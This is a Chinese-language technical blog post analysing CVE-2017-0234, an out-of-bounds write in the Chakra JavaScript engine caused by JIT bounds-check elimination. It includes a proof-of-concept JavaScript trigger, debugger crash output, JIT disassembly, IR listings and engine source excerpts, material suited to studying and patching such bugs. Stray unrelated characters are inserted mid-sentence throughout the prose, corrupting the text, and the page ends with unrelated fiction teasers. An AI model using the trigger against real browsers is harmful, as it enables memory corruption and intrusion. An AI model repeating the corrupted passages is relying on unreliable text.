CVE-2017-0234 漏洞分析

漏洞概述

該漏洞是由于 Chakra 引擎在優(yōu)化過程中過于激進,刪除了數(shù)組的邊界檢查而導致的數(shù)組越界漏洞

漏洞樣本

漏洞樣本從 yuange 那里的分析文檔中獲得

function write(begin,end,step,num)
{
 for(var i=begin;i<end;i+=step) view[i]=num;
}

var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);

write(0,0x4000,1,0x1234);

write(0x3000000e,0x40000010,0x10000,1851880825);

簡要分析

在調(diào)試環(huán)境中打開樣本余寥,Edge 崩潰在如下位置力奋,崩潰點及部分調(diào)用棧如下所示

0:018> r
rax=000100006e617579 rbx=000001c27ff90000 rcx=0000000000000005
rdx=000001ba16817fc0 rsi=000001ba057458a4 rdi=000000a3770fbe50
rip=000001ba058c013c rsp=000000a3770fbb40 rbp=000000a3770fbbe0
 r8=0000000000010000  r9=000000003004000e r10=0000000040000010
r11=0000000000000001 r12=000000006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
000001ba`058c013c 4689248b        mov     dword ptr [rbx+r9*4],r12d ds:000001c3`40090038=????????
0:018> k
Child-SP          RetAddr           Call Site
000000a3`770fbb40 00007ff8`c9d1613a 0x000001ba`058c013c
000000a3`770fbbf0 00007ff8`c9d14d38 chakra!Js::InterpreterStackFrame::DoLoopBodyStart+0x30a
000000a3`770fbcb0 00007ff8`c9d1431e chakra!Js::InterpreterStackFrame::ProfiledLoopBodyStart<0,1>+0x48
000000a3`770fbd10 00007ff8`c9d1a6c8 chakra!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0xbe
000000a3`770fbd60 00007ff8`c9d16f23 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x538
000000a3`770fbdc0 00007ff8`c9e1ec1d chakra!Js::InterpreterStackFrame::Process+0x143
000000a3`770fbe20 00007ff8`c9e1e71a chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4bd
000000a3`770fc180 000001ba`159d0faa chakra!Js::InterpreterStackFrame::InterpreterThunk+0x5a

可以看出谚赎,程序崩潰在一段 JIT 代碼中,根據(jù)調(diào)用楈艄唬可以看出程序是在調(diào)用 Loop 的過程中崩潰的,即發(fā)生在處理
for(var i=begin;i<end;i+=step) view[i]=num; 語句的過程中。查看JIT 代碼

// ......
000001ba`058c0120 453bca          cmp     r9d,r10d
000001ba`058c0123 7d42            jge     000001ba`058c0167
000001ba`058c0125 498bc5          mov     rax,r13
000001ba`058c0128 4c8bd8          mov     r11,rax
000001ba`058c012b 49c1eb30        shr     r11,30h
000001ba`058c012f 4983fb01        cmp     r11,1
000001ba`058c0133 0f85eb010000    jne     000001ba`058c0324
000001ba`058c0139 448be0          mov     r12d,eax
000001ba`058c013c 4689248b        mov     dword ptr [rbx+r9*4],r12d ds:000001c3`40090038=????????
// ......

結(jié)合上面給出的崩潰時寄存器信息可以看出 泰演,r9 為 write(0x3000000e,0x40000010,0x10000,1851880825); 中第一個參數(shù),這里 JIT 代碼中并未進行任何邊界判斷葱轩,直接將 r9 當作數(shù)組下標進行訪問睦焕,導致越界訪問的發(fā)生。

一般情況下對于數(shù)組下標的訪問均應先驗證下標合法性靴拱,但是此處的 JIT 代碼卻沒有這一部分垃喊。問題應該出在 JIT 代碼產(chǎn)生的階段

這里對說關(guān)于 JIT 代碼的生成多說一些。

在 Chakra 引擎首先以解釋器的形式執(zhí)行 js 代碼袜炕, 即將代碼編譯成為 byteCode本谜,接著按字節(jié)順序解析執(zhí)行 byteCode 。 舉例來說偎窘,如下所示一段 js 代碼乌助,Chakra 會首先將其變成 byteCode 的形式

 for(var i=0;i<0x10000;i++)
 {
        view[index]=num;
 }

生成的 byteCode 如下所示

// byte code
0x00000000000A8B70  a8 07 47 07 02 eb 00 ec 00 12 03 00 07 03 09 12  ?.G..?.?........
0x00000000000A8B80  00 6b 00 00 00 00 08 9b 06 08 05 00 00 28 07 07  .k.....?.....(..
0x00000000000A8B90  09 e4 ff ed 00 a8 00 24 00 00 00 00 00 00 00 00  .?.?.?.$........
0x00000000000A8BA0  c0 29 f7 01 00 00 00 00 80 bf ce 01 00 00 00 00  ?)?.....€??.....
0x00000000000A8BB0  50 fa cd 01 00 00 00 00 40 85 0a 00 00 00 00 00  P??.....@?......
0x00000000000A8BC0  10 e1 a5 d9 fe 07 00 00 00 00 00 00 00 00 00 00

eb 00                    Js::InterpreterStackFrame::OP_ProfiledLoopBodyInit
ec 00                    Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart
12 03 00  07 03          Js::JavascriptOperators::Less
09 12 00                 Js::InterpreterStackFrame::OP_Br
6b 00 00 00 00 08        Js::InterpreterStackFrame::OP_ProfiledGetRootProperty
9b 06 08 05 00 00        Js::InterpreterStackFrame::OP_ProfiledSetElementI   
28 07 07                 Js::JavascriptMath::Increment 
09 e4 ff                 Js::InterpreterStackFrame::OP_Br

每個 byteCode 對應不同的處理函數(shù),這個過程由函數(shù) InterpreterStackFrame::ProcessProfiled 進行陌知。對于循環(huán)體來說每次進入循環(huán)體都會先進入 OP_ProfiledLoopBodyStart 函數(shù)他托,用于記錄循環(huán)的次數(shù)等信息。當一段 Loop 代碼被執(zhí)行了超過一定次數(shù)之后仆葡,便會進行 JIT 以優(yōu)化程序的執(zhí)行效率赏参。

為了不影響 js 的正常執(zhí)行 JIT 過程由一個獨立的線程進行。JIT 線程首先以解釋器的形式根據(jù) byteCode 生成中間代碼 IR,IR 是一系列指令的集合登刺,構(gòu)成一個雙向鏈表籽腕。上文中的 byteCode 生成的 IR 如下所示

// OP_CODE

FunctionEntry(0x0155)
Label(0x0154)
Ld_I4(0x01bc)
ArgIn_A(0x01c1)
LdSlot(0x008c)
LdSlot(0x008c)
LdSlot(0x008c)
Ld_A(0x0047)
Ld_I4(0x01bc)
Ld_I4(0x01bc)
Ld_I4(0x01bc)
InitLoopBodyCount(0x01e1)
Br(0x0009)
Label(0x0154)
Ld_A(0x0047)
Ld_A(0x0047)
LdRootFld(0x006a)
Ld_A(0x0047)
BailOnNotEqual(0x0205)
FromVar(0x01b7)
FromVar(0x01b7)
BailOnNotArray(0x0210)
LdIndir(0x01c0)
BoundCheck(0x01dd)
BoundCheck(0x01dd)
LdIndir(0x01c0)
BailTarget(0x020a)
Label(0x0154)
StatementBoundary(0x0157)
IncrLoopBodyCount(0x01e2)
ByteCodeUses(0x0217)
BrGe_I4(0x0181)
Label(0x0154)
StatementBoundary(0x0157)
ByteCodeUses(0x0217)
Ld_A(0x0047)
NoImplicitCallUses(0x0219)
ByteCodeUses(0x0217)
StElemI_A(0x009a)
StatementBoundary(0x0157)
Incr_A(0x0028)
Br(0x0009)
Label(0x0154)
StatementBoundary(0x0157)
Ld_I4(0x01bc)
StSlot(0x01cf)
StLoopBodyCount(0x01e3)
Ret(0x0024)
Label(0x0154)
FunctionExit(0x0156)

接著 OP_Code (IR) 經(jīng)一系列處理之后進入編譯階段生成最終的 JIT 代碼。 JIT 代碼生成之后 OP_ProfiledLoopBodyStart 函數(shù)便不會繼續(xù)解釋器模式而是直接跳轉(zhuǎn)到 JIT 代碼中執(zhí)行纸俭。

查看 JIT 代碼生成函數(shù) Func::TryCodegen 皇耗,可以發(fā)現(xiàn)在函數(shù)實際生成 JIT 代碼前會根據(jù) 函數(shù)流圖 對程序進行優(yōu)化

TryCodegen
{
            // .....
            IRBuilder irBuilder(this);
            irBuilder.Build()
            // ......
            this->m_fg = FlowGraph::New(this, &fgAlloc);
            this->m_fg->Build();
            GlobOpt globOpt(this);
            globOpt.Optimize();
            // ......
            Encoder encoder(this);
             encoder.Encode();
}

其中OptArraySrc 用于對函數(shù)中用到的數(shù)組對象進行優(yōu)化,注意到有如下代碼揍很,當 baseValueType (數(shù)組操作數(shù)的類型)是一個 VirtualTypedArray 時便可以通過優(yōu)化檢測郎楼,將 eliminatedLowerBoundCheckeliminatedUpperBoundCheck窒悔、canBailOutOnArrayAccessHelperCall 優(yōu)化標記設置呜袁。從而在其后產(chǎn)生代碼時直接刪除對與 Array 的下標檢測。導致問題的發(fā)生简珠。

// ......
    if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
    {
        if (isProfilableStElem ||
            !instr->IsDstNotAlwaysConvertedToInt32() ||
            ((baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
                baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
                !instr->IsDstNotAlwaysConvertedToNumber()
                )
            )
        {
               eliminatedLowerBoundCheck = true;
               eliminatedUpperBoundCheck = true;
               canBailOutOnArrayAccessHelperCall = false;
        }
// ......

實際調(diào)試時可以發(fā)現(xiàn)程序在解析 StElemI_A 函數(shù)時會進入到此處優(yōu)化判斷阶界, StElemI_A 相關(guān) bytecode 如下

9b 06 08 05 00 00        Js::InterpreterStackFrame::OP_ProfiledSetElementI  srcSlot(byte) baseSlot(byte) indexSlot(byte) profileId(word)

而參與優(yōu)化檢測的值 baseValueType 來源為 baseSlot(byte)

    Value *const baseValue = FindValue(baseOpnd->m_sym);
    if(!baseValue)
    {
        return;
    }
    ValueInfo *baseValueInfo = baseValue->GetValueInfo();
    ValueType baseValueType(baseValueInfo->Type());

Reference

[1] http://slab.qq.com/news/tech/1572.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末聋庵,一起剝皮案震驚了整個濱河市膘融,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌祭玉,老刑警劉巖氧映,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異脱货,居然都是意外死亡岛都,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進店門振峻,熙熙樓的掌柜王于貴愁眉苦臉地迎上來臼疫,“玉大人,你說我怎么就攤上這事扣孟《喟” “怎么了?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵哈打,是天一觀的道長。 經(jīng)常有香客問我讯壶,道長料仗,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任伏蚊,我火速辦了婚禮立轧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己氛改,他們只是感情好帐萎,可當我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著胜卤,像睡著了一般疆导。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上葛躏,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天澈段,我揣著相機與錄音,去河邊找鬼舰攒。 笑死败富,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的摩窃。 我是一名探鬼主播兽叮,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼猾愿!你這毒婦竟也來了鹦聪?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤匪蟀,失蹤者是張志新(化名)和其女友劉穎椎麦,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體材彪,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡观挎,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了段化。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片嘁捷。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖显熏,靈堂內(nèi)的尸體忽然破棺而出雄嚣,到底是詐尸還是另有隱情,我是刑警寧澤喘蟆,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布缓升,位于F島的核電站,受9級特大地震影響蕴轨,放射性物質(zhì)發(fā)生泄漏港谊。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一橙弱、第九天 我趴在偏房一處隱蔽的房頂上張望歧寺。 院中可真熱鬧燥狰,春花似錦、人聲如沸斜筐。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽顷链。三九已至目代,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蕴潦,已是汗流浹背像啼。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留潭苞,地道東北人忽冻。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像此疹,于是被迫代替她去往敵國和親僧诚。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 來源:NumPy Tutorial - TutorialsPoint 譯者:飛龍 協(xié)議:CC BY-NC-SA 4...
    布客飛龍閱讀 32,788評論 6 96
  • 婚喪嫁娶蝗碎、老人過壽喝粉湯是我們老家甘肅定西的一項風俗~一碗粉湯也勾起了我兒時的回憶湖笨。~題記 2017年9月28日蹦骑,...
    jwyyw雯閱讀 716評論 3 3
  • 烏爾姆是德國的一個小城市慈省,位于萊茵河邊,在德國慕尼黑眠菇,法蘭克福游覽后預定的住宿地之一边败,這天玩得很晚,九點多從法...
    冰城老太____孫景芝閱讀 547評論 6 12
  • 題目 描述 分割一個整數(shù)數(shù)組捎废,使得奇數(shù)在前偶數(shù)在后。 樣例 給定 [1, 2, 3, 4]登疗,返回 [1, 3, 2...
    悠揚前奏閱讀 264評論 0 0